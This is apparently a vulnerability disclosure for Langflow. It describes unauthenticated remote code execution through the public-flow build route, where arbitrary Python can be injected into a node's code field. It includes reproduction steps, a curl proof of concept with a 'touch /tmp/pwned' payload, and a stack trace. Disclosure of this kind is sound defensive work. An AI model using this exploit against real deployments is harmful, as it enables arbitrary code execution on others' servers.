Langflow: Unauthenticated RCE in Shareable Playgrounds

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

1. Create a new flow and add a Chat Input node to it
2. Share the flow ("Shareable Playground")
3. Access the public link with the browser developers tools open and execute the flow.
4. Find the /api/v1/build_public_tmp route and copy as cURL
5. Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__